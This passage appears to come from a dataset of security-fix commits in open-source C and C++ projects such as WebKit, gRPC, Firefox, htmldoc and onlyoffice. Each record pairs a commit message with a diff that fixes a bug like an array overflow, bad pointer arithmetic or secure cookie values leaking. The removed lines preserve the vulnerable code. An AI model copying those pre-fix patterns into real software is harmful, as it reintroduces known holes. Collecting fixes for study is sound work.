StringPrototype.cpp::replaceUsingRegExpSearch(), we need to advance past both elements of\n a non-BMP character for the case where the RegExp match is empty.\n\n* JSTests/stress/string-replace-regexp-matchBOL-correct-advancing.js: New test.\n* Source/JavaScriptCore/runtime/StringPrototype.cpp:\n(JSC::replaceUsingRegExpSearch):\n* Source/JavaScriptCore/yarr/YarrInterpreter.cpp:\n(JSC::Yarr::Interpreter::InputStream::readCheckedDontAdvance):\n(JSC::Yarr::Interpreter::matchAssertionBOL):\n(JSC::Yarr::Interpreter::matchAssertionEOL):\n\nCanonical link: https://commits.webkit.org/259548.551@safari-7615-branch", "patch": "@@ -488,6 +488,11 @@ static ALWAYS_INLINE JSString* replaceUsingRegExpSearch(\n startPosition++;\n if (startPosition > sourceLen)\n break;\n+ if (U16_IS_LEAD(source[startPosition - 1]) && U16_IS_TRAIL(source[startPosition])) {\n+ startPosition++;\n+ if (startPosition > sourceLen)\n+ break;\n+ }\n }\n }\n } else {\n@@ -567,6 +572,11 @@ static ALWAYS_INLINE JSString* replaceUsingRegExpSearch(\n startPosition++;\n if (startPosition > sourceLen)\n break;\n+ if (U16_IS_LEAD(source[startPosition - 1]) && U16_IS_TRAIL(source[startPosition])) {\n+ startPosition++;\n+ if (startPosition > sourceLen)\n+ break;\n+ }\n }\n } while (global);\n }", "sections": [{"section": "@@ -488,6 +488,11 @@ static ALWAYS_INLINE JSString* replaceUsingRegExpSearch(\n startPosition++;\n if (startPosition > sourceLen)\n break;\n+ if (U16_IS_LEAD(source[startPosition - 1]) && U16_IS_TRAIL(source[startPosition])) {\n+ startPosition++;\n+ if (startPosition > sourceLen)\n+ break;\n+ }\n }\n }\n } else {\n", "related": false}, {"section": "@@ -567,6 +572,11 @@ static ALWAYS_INLINE JSString* replaceUsingRegExpSearch(\n startPosition++;\n if (startPosition > sourceLen)\n break;\n+ if (U16_IS_LEAD(source[startPosition - 1]) && U16_IS_TRAIL(source[startPosition])) {\n+ startPosition++;\n+ if (startPosition > sourceLen)\n+ break;\n+ }\n }\n } while (global);\n }", "related": false}]} +{"owner": "grpc", "repo": "grpc", "language": "C", "file_name": "src/core/ext/transport/chttp2/transport/hpack_parser.cc", "commit_id": "2485fa94bd8a723e5c977d55a3ce10b301b437f8", "commit_message": "[chttp2] Fix fuzzer found bug (#32507)\n\n", "patch": "@@ -803,7 +803,7 @@ class HPackParser::Parser {\n \n template \n void Encode(Key, const Value& value) {\n- AddToSummary(Key::key(), Key::Encode(value).size());\n+ AddToSummary(Key::key(), EncodedSizeOfKey(Key(), value));\n }\n \n private:", "sections": [{"section": "@@ -803,7 +803,7 @@ class HPackParser::Parser {\n \n template \n void Encode(Key, const Value& value) {\n- AddToSummary(Key::key(), Key::Encode(value).size());\n+ AddToSummary(Key::key(), EncodedSizeOfKey(Key(), value));\n }\n \n private:", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C++", "file_name": "netwerk/cookie/CookieServiceParent.cpp", "commit_id": "63fa842543debbb75d7cb0cb26b37b91fdfdff0a", "commit_message": "Bug 1783536 - Prevent document.cookie de-sync from cookie jar when setting secure cookies. r=dveditz,necko-reviewers\n\nSecure cookie names are now sent to insecure-origin content processes so they are\nable to prevent cookie setting when there is a pre-existing secure cookie\non another process. This will prevent each content process document.cookie from\ngetting de-synchronized from the cookie jar.\n\nDifferential Revision: https://phabricator.services.mozilla.com/D157537", "patch": "@@ -50,8 +50,10 @@ void CookieServiceParent::RemoveBatchDeletedCookies(nsIArray* aCookieList) {\n const auto& cookie = xpcCookie->AsCookie();\n attrs = cookie.OriginAttributesRef();\n cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n- // Child only needs to exist if an HttpOnly cookie exists, not its value\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n cookieStructList.AppendElement(cookieStruct);\n@@ -65,7 +67,10 @@ void CookieServiceParent::RemoveAll() { Unused << SendRemoveAll(); }\n void CookieServiceParent::RemoveCookie(const Cookie& cookie) {\n const OriginAttributes& attrs = cookie.OriginAttributesRef();\n CookieStruct cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n Unused << SendRemoveCookie(cookieStruct, attrs);\n@@ -74,18 +79,32 @@ void CookieServiceParent::RemoveCookie(const Cookie& cookie) {\n void CookieServiceParent::AddCookie(const Cookie& cookie) {\n const OriginAttributes& attrs = cookie.OriginAttributesRef();\n CookieStruct cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n Unused << SendAddCookie(cookieStruct, attrs);\n }\n \n-bool CookieServiceParent::CookieMatchesContentList(const Cookie& cookie) {\n+bool CookieServiceParent::ContentProcessHasCookie(const Cookie& cookie) {\n nsCString baseDomain;\n // CookieStorage notifications triggering this won't fail to get base domain\n MOZ_ALWAYS_SUCCEEDS(CookieCommons::GetBaseDomainFromHost(\n mTLDService, cookie.Host(), baseDomain));\n \n+ CookieKey cookieKey(baseDomain, cookie.OriginAttributesRef());\n+ return mCookieKeysInContent.MaybeGet(cookieKey).isSome();\n+}\n+\n+bool CookieServiceParent::InsecureCookieOrSecureOrigin(const Cookie& cookie) {\n+ nsCString baseDomain;\n+ // CookieStorage notifications triggering this won't fail to get base domain\n+ MOZ_ALWAYS_SUCCEEDS(CookieCommons::GetBaseDomainFromHost(\n+ mTLDService, cookie.Host(), baseDomain));\n+\n+ // cookie is insecure or cookie is associated with a secure-origin process\n CookieKey cookieKey(baseDomain, cookie.OriginAttributesRef());\n if (Maybe allowSecure = mCookieKeysInContent.MaybeGet(cookieKey)) {\n return (!cookie.IsSecure() || *allowSecure);\n@@ -124,9 +143,9 @@ void CookieServiceParent::TrackCookieLoad(nsIChannel* aChannel) {\n result.contains(ThirdPartyAnalysis::IsThirdPartySocialTrackingResource),\n result.contains(ThirdPartyAnalysis::IsStorageAccessPermissionGranted),\n rejectedReason, isSafeTopLevelNav, isSameSiteForeign,\n- hadCrossSiteRedirects, false, attrs, foundCookieList);\n+ hadCrossSiteRedirects, false, true, attrs, foundCookieList);\n nsTArray matchingCookiesList;\n- SerialializeCookieList(foundCookieList, matchingCookiesList);\n+ SerializeCookieList(foundCookieList, matchingCookiesList, uri);\n Unused << SendTrackCookiesLoad(matchingCookiesList, attrs);\n }\n \n@@ -150,17 +169,26 @@ void CookieServiceParent::UpdateCookieInContentList(\n }\n \n // static\n-void CookieServiceParent::SerialializeCookieList(\n+void CookieServiceParent::SerializeCookieList(\n const nsTArray& aFoundCookieList,\n- nsTArray& aCookiesList) {\n+ nsTArray& aCookiesList, nsIURI* aHostURI) {\n for (uint32_t i = 0; i < aFoundCookieList.Length(); i++) {\n Cookie* cookie = aFoundCookieList.ElementAt(i);\n CookieStruct* cookieStruct = aCookiesList.AppendElement();\n *cookieStruct = cookie->ToIPC();\n+\n+ // clear http-only cookie values\n if (cookie->IsHttpOnly()) {\n // Value only needs to exist if an HttpOnly cookie exists.\n cookieStruct->value() = \"\";\n }\n+\n+ // clear secure cookie values in insecure context\n+ bool potentiallyTurstworthy =\n+ nsMixedContentBlocker::IsPotentiallyTrustworthyOrigin(aHostURI);\n+ if (cookie->IsSecure() && !potentiallyTurstworthy) {\n+ cookieStruct->value() = \"\";\n+ }\n }\n }\n \n@@ -189,9 +217,9 @@ IPCResult CookieServiceParent::RecvPrepareCookieList(\n aHost, nullptr, aIsForeign, aIsThirdPartyTrackingResource,\n aIsThirdPartySocialTrackingResource, aStorageAccessPermissionGranted,\n aRejectedReason, aIsSafeTopLevelNav, aIsSameSiteForeign,\n- aHadCrossSiteRedirects, false, aAttrs, foundCookieList);\n+ aHadCrossSiteRedirects, false, true, aAttrs, foundCookieList);\n nsTArray matchingCookiesList;\n- SerialializeCookieList(foundCookieList, matchingCookiesList);\n+ SerializeCookieList(foundCookieList, matchingCookiesList, aHost);\n Unused << SendTrackCookiesLoad(matchingCookiesList, aAttrs);\n return IPC_OK();\n }", "sections": [{"section": "@@ -50,8 +50,10 @@ void CookieServiceParent::RemoveBatchDeletedCookies(nsIArray* aCookieList) {\n const auto& cookie = xpcCookie->AsCookie();\n attrs = cookie.OriginAttributesRef();\n cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n- // Child only needs to exist if an HttpOnly cookie exists, not its value\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n cookieStructList.AppendElement(cookieStruct);\n", "related": false}, {"section": "@@ -65,7 +67,10 @@ void CookieServiceParent::RemoveAll() { Unused << SendRemoveAll(); }\n void CookieServiceParent::RemoveCookie(const Cookie& cookie) {\n const OriginAttributes& attrs = cookie.OriginAttributesRef();\n CookieStruct cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n Unused << SendRemoveCookie(cookieStruct, attrs);\n", "related": false}, {"section": "@@ -74,18 +79,32 @@ void CookieServiceParent::RemoveCookie(const Cookie& cookie) {\n void CookieServiceParent::AddCookie(const Cookie& cookie) {\n const OriginAttributes& attrs = cookie.OriginAttributesRef();\n CookieStruct cookieStruct = cookie.ToIPC();\n- if (cookie.IsHttpOnly()) {\n+\n+ // Child only needs to know HttpOnly cookies exists, not its value\n+ // Same for Secure cookies going to a process for an insecure site.\n+ if (cookie.IsHttpOnly() || !InsecureCookieOrSecureOrigin(cookie)) {\n cookieStruct.value() = \"\";\n }\n Unused << SendAddCookie(cookieStruct, attrs);\n }\n \n-bool CookieServiceParent::CookieMatchesContentList(const Cookie& cookie) {\n+bool CookieServiceParent::ContentProcessHasCookie(const Cookie& cookie) {\n nsCString baseDomain;\n // CookieStorage notifications triggering this won't fail to get base domain\n MOZ_ALWAYS_SUCCEEDS(CookieCommons::GetBaseDomainFromHost(\n mTLDService, cookie.Host(), baseDomain));\n \n+ CookieKey cookieKey(baseDomain, cookie.OriginAttributesRef());\n+ return mCookieKeysInContent.MaybeGet(cookieKey).isSome();\n+}\n+\n+bool CookieServiceParent::InsecureCookieOrSecureOrigin(const Cookie& cookie) {\n+ nsCString baseDomain;\n+ // CookieStorage notifications triggering this won't fail to get base domain\n+ MOZ_ALWAYS_SUCCEEDS(CookieCommons::GetBaseDomainFromHost(\n+ mTLDService, cookie.Host(), baseDomain));\n+\n+ // cookie is insecure or cookie is associated with a secure-origin process\n CookieKey cookieKey(baseDomain, cookie.OriginAttributesRef());\n if (Maybe allowSecure = mCookieKeysInContent.MaybeGet(cookieKey)) {\n return (!cookie.IsSecure() || *allowSecure);\n", "related": false}, {"section": "@@ -124,9 +143,9 @@ void CookieServiceParent::TrackCookieLoad(nsIChannel* aChannel) {\n result.contains(ThirdPartyAnalysis::IsThirdPartySocialTrackingResource),\n result.contains(ThirdPartyAnalysis::IsStorageAccessPermissionGranted),\n rejectedReason, isSafeTopLevelNav, isSameSiteForeign,\n- hadCrossSiteRedirects, false, attrs, foundCookieList);\n+ hadCrossSiteRedirects, false, true, attrs, foundCookieList);\n nsTArray matchingCookiesList;\n- SerialializeCookieList(foundCookieList, matchingCookiesList);\n+ SerializeCookieList(foundCookieList, matchingCookiesList, uri);\n Unused << SendTrackCookiesLoad(matchingCookiesList, attrs);\n }\n \n", "related": false}, {"section": "@@ -150,17 +169,26 @@ void CookieServiceParent::UpdateCookieInContentList(\n }\n \n // static\n-void CookieServiceParent::SerialializeCookieList(\n+void CookieServiceParent::SerializeCookieList(\n const nsTArray& aFoundCookieList,\n- nsTArray& aCookiesList) {\n+ nsTArray& aCookiesList, nsIURI* aHostURI) {\n for (uint32_t i = 0; i < aFoundCookieList.Length(); i++) {\n Cookie* cookie = aFoundCookieList.ElementAt(i);\n CookieStruct* cookieStruct = aCookiesList.AppendElement();\n *cookieStruct = cookie->ToIPC();\n+\n+ // clear http-only cookie values\n if (cookie->IsHttpOnly()) {\n // Value only needs to exist if an HttpOnly cookie exists.\n cookieStruct->value() = \"\";\n }\n+\n+ // clear secure cookie values in insecure context\n+ bool potentiallyTurstworthy =\n+ nsMixedContentBlocker::IsPotentiallyTrustworthyOrigin(aHostURI);\n+ if (cookie->IsSecure() && !potentiallyTurstworthy) {\n+ cookieStruct->value() = \"\";\n+ }\n }\n }\n \n", "related": false}, {"section": "@@ -189,9 +217,9 @@ IPCResult CookieServiceParent::RecvPrepareCookieList(\n aHost, nullptr, aIsForeign, aIsThirdPartyTrackingResource,\n aIsThirdPartySocialTrackingResource, aStorageAccessPermissionGranted,\n aRejectedReason, aIsSafeTopLevelNav, aIsSameSiteForeign,\n- aHadCrossSiteRedirects, false, aAttrs, foundCookieList);\n+ aHadCrossSiteRedirects, false, true, aAttrs, foundCookieList);\n nsTArray matchingCookiesList;\n- SerialializeCookieList(foundCookieList, matchingCookiesList);\n+ SerializeCookieList(foundCookieList, matchingCookiesList, aHost);\n Unused << SendTrackCookiesLoad(matchingCookiesList, aAttrs);\n return IPC_OK();\n }", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C", "file_name": "js/src/gc/GC.h", "commit_id": "661875c4c82e88655a4b5f62f0e833b38d88907b", "commit_message": "Bug 1816158 - Part 1: Disallow GC while iterating global's debugger vector r=sfink\n\nGC can mutate this vector so don't allow that while we are iterating. I think\nit would be safe to use index-based iteration but it's safer to just ban it\nentirely.\n\nThis fixes the crash produced by the testcase.\n\nDifferential Revision: https://phabricator.services.mozilla.com/D169701", "patch": "@@ -205,7 +205,7 @@ static inline void MaybeVerifyBarriers(JSContext* cx, bool always = false) {}\n * This works by updating the |JSContext::suppressGC| counter which is checked\n * at the start of GC.\n */\n-class MOZ_RAII JS_HAZ_GC_SUPPRESSED AutoSuppressGC {\n+class MOZ_RAII JS_HAZ_GC_SUPPRESSED AutoSuppressGC : public JS::AutoRequireNoGC {\n int32_t& suppressGC_;\n \n public:", "sections": [{"section": "@@ -205,7 +205,7 @@ static inline void MaybeVerifyBarriers(JSContext* cx, bool always = false) {}\n * This works by updating the |JSContext::suppressGC| counter which is checked\n * at the start of GC.\n */\n-class MOZ_RAII JS_HAZ_GC_SUPPRESSED AutoSuppressGC {\n+class MOZ_RAII JS_HAZ_GC_SUPPRESSED AutoSuppressGC : public JS::AutoRequireNoGC {\n int32_t& suppressGC_;\n \n public:", "related": false}]} +{"owner": "mozilla", "repo": "gecko-dev", "language": "C++", "file_name": "gfx/thebes/gfxTextRun.cpp", "commit_id": "5c7ab9c2eb5746fc65a7d4259c97780306b7926a", "commit_message": "Bug 1801248 - Fix up pointer arithmetic. r=gfx-reviewers,lsalzman\n\nDifferential Revision: https://phabricator.services.mozilla.com/D162496", "patch": "@@ -407,7 +407,7 @@ bool gfxTextRun::GetAdjustedSpacingArray(\n memset(aSpacing->Elements(), 0, sizeof(gfxFont::Spacing) * spacingOffset);\n GetAdjustedSpacing(this, aSpacingRange, aProvider,\n aSpacing->Elements() + spacingOffset);\n- memset(aSpacing->Elements() + aSpacingRange.end - aRange.start, 0,\n+ memset(aSpacing->Elements() + spacingOffset + aSpacingRange.Length(), 0,\n sizeof(gfxFont::Spacing) * (aRange.end - aSpacingRange.end));\n return true;\n }", "sections": [{"section": "@@ -407,7 +407,7 @@ bool gfxTextRun::GetAdjustedSpacingArray(\n memset(aSpacing->Elements(), 0, sizeof(gfxFont::Spacing) * spacingOffset);\n GetAdjustedSpacing(this, aSpacingRange, aProvider,\n aSpacing->Elements() + spacingOffset);\n- memset(aSpacing->Elements() + aSpacingRange.end - aRange.start, 0,\n+ memset(aSpacing->Elements() + spacingOffset + aSpacingRange.Length(), 0,\n sizeof(gfxFont::Spacing) * (aRange.end - aSpacingRange.end));\n return true;\n }", "related": false}]} +{"owner": "michaelrsweet", "repo": "htmldoc", "language": "C++", "file_name": "htmldoc/util.cxx", "commit_id": "c67bbd8756f015e33e4ba639a40c7f9d8bd9e8ab", "commit_message": "Fix array overflow for headings using roman numerals (Issue #433)", "patch": "@@ -35,10 +35,14 @@ format_number(int n,\t\t/* I - Number */\n \t\t \"\",\t\"x\",\t\"xx\",\t\"xxx\",\t\"xl\",\n \t\t \"l\",\t\"lx\",\t\"lxx\",\t\"lxxx\",\t\"xc\"\n \t\t},\n-\t\t*hundreds[10] =\t/* Roman numerals, 100-900 */\n+\t\t*hundreds[30] =\t/* Roman numerals, 100-2900 */\n \t\t{\n-\t\t \"\",\t\"c\",\t\"cc\",\t\"ccc\",\t\"cd\",\n-\t\t \"d\",\t\"dc\",\t\"dcc\",\t\"dccc\",\t\"cm\"\n+\t\t \"\", \"c\", \"cc\", \"ccc\", \"cd\",\n+\t\t \"d\", \"dc\", \"dcc\", \"dccc\", \"cm\",\n+\t\t \"m\", \"mc\", \"cc\", \"ccc\", \"cd\",\n+\t\t \"m\", \"mdc\", \"mdcc\", \"mdccc\", \"mcm\",\n+\t\t \"mm\", \"mmc\", \"mmcc\", \"mmccc\", \"mmcd\",\n+\t\t \"mmd\", \"mmdc\", \"mmdcc\", \"mmdccc\", \"mmcm\"\n \t\t};\n static const char *ONES[10] =\t/* Roman numerals, 0-9 */\n \t\t{\n@@ -50,10 +54,14 @@ format_number(int n,\t\t/* I - Number */\n \t\t \"\",\t\"X\",\t\"XX\",\t\"XXX\",\t\"XL\",\n \t\t \"L\",\t\"LX\",\t\"LXX\",\t\"LXXX\",\t\"XC\"\n \t\t},\n-\t\t*HUNDREDS[10] =\t/* Roman numerals, 100-900 */\n+\t\t*HUNDREDS[30] =\t/* Roman numerals, 100-2900 */\n \t\t{\n-\t\t \"\",\t\"C\",\t\"CC\",\t\"CCC\",\t\"CD\",\n-\t\t \"D\",\t\"DC\",\t\"DCC\",\t\"DCCC\",\t\"CM\"\n+\t\t \"\", \"C\", \"CC\", \"CCC\", \"CD\",\n+\t\t \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\",\n+\t\t \"M\", \"MC\", \"CC\", \"CCC\", \"CD\",\n+\t\t \"M\", \"MDC\", \"MDCC\", \"MDCCC\", \"MCM\",\n+\t\t \"MM\", \"MMC\", \"MMCC\", \"MMCCC\", \"MMCD\",\n+\t\t \"MMD\", \"MMDC\", \"MMDCC\", \"MMDCCC\", \"MMCM\"\n \t\t};\n static char\tbuffer[1024];\t/* String buffer */\n \n@@ -65,18 +73,20 @@ format_number(int n,\t\t/* I - Number */\n \tbreak;\n \n case 'a' :\n- if (n >= (26 * 26))\n-\t buffer[0] = '\\0';\n- else if (n > 26)\n+ if (n > (26 * 26))\n+ n = (n % (26 * 26)) + 1;\n+\n+ if (n > 26)\n snprintf(buffer, sizeof(buffer), \"%c%c\", 'a' + (n / 26) - 1, 'a' + (n % 26) - 1);\n else\n snprintf(buffer, sizeof(buffer), \"%c\", 'a' + n - 1);\n break;\n \n case 'A' :\n- if (n >= (26 * 26))\n-\t buffer[0] = '\\0';\n- else if (n > 26)\n+ if (n > (26 * 26))\n+ n = (n % (26 * 26)) + 1;\n+\n+ if (n > 26)\n snprintf(buffer, sizeof(buffer), \"%c%c\", 'A' + (n / 26) - 1, 'A' + (n % 26) - 1);\n else\n snprintf(buffer, sizeof(buffer), \"%c\", 'A' + n - 1);\n@@ -87,17 +97,17 @@ format_number(int n,\t\t/* I - Number */\n break;\n \n case 'i' :\n- if (n >= 1000)\n-\t buffer[0] = '\\0';\n-\telse\n- snprintf(buffer, sizeof(buffer), \"%s%s%s\", hundreds[n / 100], tens[(n / 10) % 10], ones[n % 10]);\n+ if (n >= 3000)\n+ n = (n % 3000) + 1;\n+ \n+\tsnprintf(buffer, sizeof(buffer), \"%s%s%s\", hundreds[n / 100], tens[(n / 10) % 10], ones[n % 10]);\n break;\n \n case 'I' :\n- if (n >= 1000)\n-\t buffer[0] = '\\0';\n-\telse\n- snprintf(buffer, sizeof(buffer), \"%s%s%s\", HUNDREDS[n / 100], TENS[(n / 10) % 10], ONES[n % 10]);\n+ if (n >= 3000)\n+ n = (n % 3000) + 1;\n+ \n+\tsnprintf(buffer, sizeof(buffer), \"%s%s%s\", HUNDREDS[n / 100], TENS[(n / 10) % 10], ONES[n % 10]);\n break;\n }\n ", "sections": [{"section": "@@ -35,10 +35,14 @@ format_number(int n,\t\t/* I - Number */\n \t\t \"\",\t\"x\",\t\"xx\",\t\"xxx\",\t\"xl\",\n \t\t \"l\",\t\"lx\",\t\"lxx\",\t\"lxxx\",\t\"xc\"\n \t\t},\n-\t\t*hundreds[10] =\t/* Roman numerals, 100-900 */\n+\t\t*hundreds[30] =\t/* Roman numerals, 100-2900 */\n \t\t{\n-\t\t \"\",\t\"c\",\t\"cc\",\t\"ccc\",\t\"cd\",\n-\t\t \"d\",\t\"dc\",\t\"dcc\",\t\"dccc\",\t\"cm\"\n+\t\t \"\", \"c\", \"cc\", \"ccc\", \"cd\",\n+\t\t \"d\", \"dc\", \"dcc\", \"dccc\", \"cm\",\n+\t\t \"m\", \"mc\", \"cc\", \"ccc\", \"cd\",\n+\t\t \"m\", \"mdc\", \"mdcc\", \"mdccc\", \"mcm\",\n+\t\t \"mm\", \"mmc\", \"mmcc\", \"mmccc\", \"mmcd\",\n+\t\t \"mmd\", \"mmdc\", \"mmdcc\", \"mmdccc\", \"mmcm\"\n \t\t};\n static const char *ONES[10] =\t/* Roman numerals, 0-9 */\n \t\t{\n", "related": false}, {"section": "@@ -50,10 +54,14 @@ format_number(int n,\t\t/* I - Number */\n \t\t \"\",\t\"X\",\t\"XX\",\t\"XXX\",\t\"XL\",\n \t\t \"L\",\t\"LX\",\t\"LXX\",\t\"LXXX\",\t\"XC\"\n \t\t},\n-\t\t*HUNDREDS[10] =\t/* Roman numerals, 100-900 */\n+\t\t*HUNDREDS[30] =\t/* Roman numerals, 100-2900 */\n \t\t{\n-\t\t \"\",\t\"C\",\t\"CC\",\t\"CCC\",\t\"CD\",\n-\t\t \"D\",\t\"DC\",\t\"DCC\",\t\"DCCC\",\t\"CM\"\n+\t\t \"\", \"C\", \"CC\", \"CCC\", \"CD\",\n+\t\t \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\",\n+\t\t \"M\", \"MC\", \"CC\", \"CCC\", \"CD\",\n+\t\t \"M\", \"MDC\", \"MDCC\", \"MDCCC\", \"MCM\",\n+\t\t \"MM\", \"MMC\", \"MMCC\", \"MMCCC\", \"MMCD\",\n+\t\t \"MMD\", \"MMDC\", \"MMDCC\", \"MMDCCC\", \"MMCM\"\n \t\t};\n static char\tbuffer[1024];\t/* String buffer */\n \n", "related": false}, {"section": "@@ -65,18 +73,20 @@ format_number(int n,\t\t/* I - Number */\n \tbreak;\n \n case 'a' :\n- if (n >= (26 * 26))\n-\t buffer[0] = '\\0';\n- else if (n > 26)\n+ if (n > (26 * 26))\n+ n = (n % (26 * 26)) + 1;\n+\n+ if (n > 26)\n snprintf(buffer, sizeof(buffer), \"%c%c\", 'a' + (n / 26) - 1, 'a' + (n % 26) - 1);\n else\n snprintf(buffer, sizeof(buffer), \"%c\", 'a' + n - 1);\n break;\n \n case 'A' :\n- if (n >= (26 * 26))\n-\t buffer[0] = '\\0';\n- else if (n > 26)\n+ if (n > (26 * 26))\n+ n = (n % (26 * 26)) + 1;\n+\n+ if (n > 26)\n snprintf(buffer, sizeof(buffer), \"%c%c\", 'A' + (n / 26) - 1, 'A' + (n % 26) - 1);\n else\n snprintf(buffer, sizeof(buffer), \"%c\", 'A' + n - 1);\n", "related": false}, {"section": "@@ -87,17 +97,17 @@ format_number(int n,\t\t/* I - Number */\n break;\n \n case 'i' :\n- if (n >= 1000)\n-\t buffer[0] = '\\0';\n-\telse\n- snprintf(buffer, sizeof(buffer), \"%s%s%s\", hundreds[n / 100], tens[(n / 10) % 10], ones[n % 10]);\n+ if (n >= 3000)\n+ n = (n % 3000) + 1;\n+ \n+\tsnprintf(buffer, sizeof(buffer), \"%s%s%s\", hundreds[n / 100], tens[(n / 10) % 10], ones[n % 10]);\n break;\n \n case 'I' :\n- if (n >= 1000)\n-\t buffer[0] = '\\0';\n-\telse\n- snprintf(buffer, sizeof(buffer), \"%s%s%s\", HUNDREDS[n / 100], TENS[(n / 10) % 10], ONES[n % 10]);\n+ if (n >= 3000)\n+ n = (n % 3000) + 1;\n+ \n+\tsnprintf(buffer, sizeof(buffer), \"%s%s%s\", HUNDREDS[n / 100], TENS[(n / 10) % 10], ONES[n % 10]);\n break;\n }\n ", "related": false}]} +{"owner": "onlyoffice", "repo": "core", "language": "C++", "file_name": "DesktopEditor/doctrenderer/js_internal/v8/v8_base.cpp", "commit_id": "2b6ad83b36afd9845085b536969d366d1d61150a", "commit_message": "Fix bug 60433", "patch": "@@ -219,6 +219,13 @@ namespace NSJSBase\n #ifdef V8_INSPECTOR\n \t\tv8_debug::disposeInspector(m_internal->m_context);\n #endif\n+\t\tunsigned int nEmbedDataCount = m_internal->m_isolate->GetNumberOfDataSlots();\n+\t\tfor (unsigned int i = 0; i < nEmbedDataCount; ++i)\n+\t\t{\n+\t\t\tCIsolateAdditionalData* pAdditionData = (CIsolateAdditionalData*)m_internal->m_isolate->GetData(i);\n+\t\t\tdelete pAdditionData;\n+\t\t}\n+\n \t\tm_internal->m_isolate->Dispose();\n \t\tm_internal->m_isolate = NULL;\n \t}", "sections": [{"section": "@@ -219,6 +219,13 @@ namespace NSJSBase\n #ifdef V8_INSPECTOR\n \t\tv8_debug::disposeInspector(m_internal->m_context);\n #endif\n+\t\tunsigned int nEmbedDataCount = m_internal->m_isolate->GetNumberOfDataSlots();\n+\t\tfor (unsigned int i = 0; i < nEmbedDataCount; ++i)\n+\t\t{\n+\t\t\tCIsolateAdditionalData* pAdditionData = (CIsolateAdditionalData*)m_internal->m_isolate->GetData(i);\n+\t\t\tdelete pAdditionData;\n+\t\t}\n+\n \t\tm_internal->m_isolate->Dispose();\n \t\tm_internal->m_isolate = NULL;\n \t}", "related": false}]} +{"owner": "onlyoffice", "repo": "core", "language": "C++", "file_name": "DesktopEditor/doctrenderer/js_internal/v8/v8_base.cpp", "commit_id": "2b6ad83b36afd9845085b536969d366d1d61150a", "commit_message": "Fix bug 60433", "patch": "@@ -219,6 +219,13 @@ namespace NSJSBase\n #ifdef V8_INSPECTOR\n \t\tv8_debug::disposeInspector(m_internal->m_context);\n #endif\n+\t\tunsigned int nEmbedDataCount = m_internal->m_isolate->GetNumberOfDataSlots();\n+\t\tfor (unsigned int i = 0; i < nEmbedDataCount; ++i)\n+\t\t{\n+\t\t\tCIsolateAdditionalData* pAdditionData = (CIsolateAdditionalData*)m_internal->m_isolate->GetData(i);\n+\t\t\tdelete pAdditionData;\n+\t\t}\n+\n \t\tm_internal->m_isolate->Dispose();\n \t\tm_internal->m_isolate = NULL;\n \t}", "sections": [{"section": "@@ -219,6 +219,13 @@ namespace NSJSBase\n #ifdef V8_INSPECTOR\n \t\tv8_debug::disposeInspector(m_internal->m_context);\n #endif\n+\t\tunsigned int nEmbedDataCount = m_internal->m_isolate->GetNumberOfDataSlots();\n+\t\tfor (unsigned int i = 0; i < nEmbedDataCount; ++i)\n+\t\t{\n+\t\t\tCIsolateAdditionalData* pAdditionData = (CIsolateAdditionalData*)m_internal->m_isolate->GetData(i);\n+\t\t\tdelete pAdditionData;\n+\t\t}\n+\n \t\tm_internal->m_isolate->Dispose();\n \t\tm_internal->m_isolate = NULL;\n \t}", "related": false}]} +{"owner": "trailofbits", "repo": "uthenticode", "language": "C", "file_name": "test/helpers.h", "commit_id": "8670b7bb9154d79c276483dcb7c9e9fd5e66455b", "commit_message": "Fix hashing (#84)\n\n* Revert \"Fix hash calculation (#62)\"\r\n\r\nThis reverts commit d16e9ec2b4d54c1333137ae34f011e9eb3e0b962.\r\n\r\n* test: stuffed PE tests\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* uthenticode-test: re-add failing hashes\r\n\r\nThese hashes are correct; this can't be merged until these tests pass.\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* src, test: don't support checksums on unsigned exes\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* test/assets: stuffing example\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* uthenticode: fix hashing on trailing data\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* uthenticode: safer buffer operations\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n* uthenticode: free trailer_buf once we're done with it\r\n\r\nSigned-off-by: William Woodruff \r\n\r\n---------\r\n\r\nSigned-off-by: William Woodruff ", "patch": "@@ -111,3 +111,19 @@ class MissingEKUTest : public ::testing::Test {\n \n peparse::parsed_pe *pe{nullptr};\n };\n+\n+class StuffingTest : public ::testing::Test {\n+ protected:\n+ void SetUp() override {\n+ auto *file = UTHENTICODE_TEST_ASSETS \"/YourPhone.exe\";\n+\n+ pe = peparse::ParsePEFromFile(file);\n+ ASSERT_TRUE(pe != nullptr);\n+ }\n+\n+ void TearDown() override {\n+ peparse::DestructParsedPE(pe);\n+ }\n+\n+ 